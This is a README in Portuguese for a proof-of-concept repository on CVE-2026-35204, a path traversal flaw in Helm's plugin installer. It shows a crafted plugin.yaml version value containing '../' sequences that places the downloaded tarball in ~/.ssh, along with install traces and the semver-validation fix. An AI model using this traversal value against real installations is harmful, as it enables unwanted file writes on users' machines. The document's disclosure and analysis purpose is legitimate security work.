
Prova de conceito demonstrando uma vulnerabilidade de travessia de caminho (CVE-2026-35204) na instalação de plugins do Helm, permitindo escrita arbitrária de arquivos por meio de metadados de plugin manipulados.
Este repositório representa um PoC para o CVE-2026-35204
"Helm é um gerenciador de pacotes para Charts do Kubernetes. Da versão 4.0.0 até 4.1.3, um plugin Helm especialmente criado, quando instalado ou atualizado, fará com que o Helm grave o conteúdo do plugin em um local arbitrário do sistema de arquivos. Para evitar isso, valide que o plugin.yaml do plugin Helm não inclua um campo version: contendo separadores de caminho POSIX dot-dot, ou seja, "/../". Esta vulnerabilidade foi corrigida na versão 4.1.4."
Este PoC demonstra que metadata.Version é usado para construir o caminho do arquivo do plugin, permitindo path traversal e gravando o plugin.tgz baixado fora do diretório de plugins pretendido. O conteúdo do plugin ainda é extraído para o diretório de cache designado antes de ser instalado, portanto este PoC não demonstra extração arbitrária ou sobrescrita arbitrária de arquivos do host.
A vulnerabilidade é classificada como CWE-22 - Limitação Imprópria de um Nome de Caminho a um Diretório Restrito ('Path Traversal')
O instalador de plugins do Helm possui uma interface com quatro implementações (HTTP, local, VCS e OCI). Este PoC foca no instalador HTTP. Diferentemente dos instaladores HTTP/OCI, o instalador VCS não constrói um caminho de tarball a partir de metadata.Version. Aqui está um bloco de código que prepara o tarballPath:
filename := fmt.Sprintf("%s-%s.tgz", metadata.Name, metadata.Version)
tarballPath := helmpath.DataPath("plugins", filename)
onde metadata.Version é a variável que controlamos no plugin.yaml. Para acionar a vulnerabilidade, você precisa empacotar seu plugin criado em um arquivo .tgz, já que seu metadata.Version é o que está sendo extraído por plugin.ExtractTgzPluginMetadata e baixado via instalador HTTP/OCI/local. Portanto, para alcançar o path traversal, podemos usar o http_installer, que busca plugins como um arquivo servido por um servidor web.
No exemplo abaixo, o binário helm foi recompilado manualmente para habilitar mensagens de log, onde você pode observar dois fluxos de dados diferentes. First é a instalação do plugin com o nome de versão correto. Second é a instalação do plugin que possui separadores de caminho dot-dot em seu nome de versão:
./helm plugin install http://0.0.0.0:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-2.2.2.tgz
tarballPath -> /home/s0m3body/.local/share/helm/plugins/evil-2.2.2.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-0.0.0.0-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
./helm plugin install http://127.0.0.1:8000/evil.tar.gz
Verifying plugin signature...
WARNING: No provenance file found for plugin. Plugin is not signed and cannot be verified.
filename -> evil-../../../../../../.ssh/pwn3d.tgz
tarballPath -> /home/s0m3body/.ssh/pwn3d.tgz
i.CacheDir -> /home/s0m3body/.cache/helm/plugins/http-127.0.0.1-8000-evil.tar.gz
i.Path() -> /home/s0m3body/.local/share/helm/plugins/evil
Installed plugin: evil
Os rastreamentos em tempo de execução demonstram que o path traversal afeta apenas o local onde o arquivo do plugin baixado é colocado, que é basicamente a variável de ambiente HELM_PLUGINS. O cache (i.CacheDir) e a extração final (i.Path()) permanecem inalterados. Com isso em mente, podemos manipular o destino temporário do arquivo e seu nome, resultando em uma gravação de arquivo.
Você não precisa executar nada ou usar webhooks de pós-instalação; a simples instalação do plugin é suficiente para acionar a vulnerabilidade.
Durante minha análise do instalador HTTP, observei que a extração do arquivo ocorre em i.CacheDir, enquanto a instalação (fs.CopyDir) copia arquivos de i.CacheDir para i.Path(). Não encontrei um caminho de código onde o tarballPath influenciado pelo traversal afete o conteúdo do arquivo. Portanto, com base no rastreamento em tempo de execução analisado, o destino de extração do arquivo é independente do tarballPath controlado pelo traversal.
O aviso menciona tanto instalação quanto atualização. Para os instaladores HTTP/local/VCS, Update() não está implementado; o instalador OCI implementa a atualização invocando Install() após remover o plugin anterior.
Aqui está o método Update() do instalador HTTP:
func (i *HTTPInstaller) Update() error {
return fmt.Errorf("method Update() not implemented for HttpInstaller")
}
Para mitigar a vulnerabilidade, foi adicionada a função isValidSemver, que agora é chamada quando Validate() dentro de metadata.go é invocado.
"github.com/Masterminds/semver/v3"
func isValidSemver(v string) bool {
_, err := semver.NewVersion(v)
return err == nil
}
if m.Version != "" && !isValidSemver(m.Version) {
errs = append(errs, fmt.Errorf("invalid plugin version %q: must be valid semver", m.Version))
}
Como você pode ver, se a versão não for um semver válido (e ../../../../ não é), receberemos um erro no processo de instalação do plugin helm malicioso.
Para executar o PoC você pode usar o script scripts/pos.sh:
./scripts/poc.sh
O que resultará em algo como isso:

MIT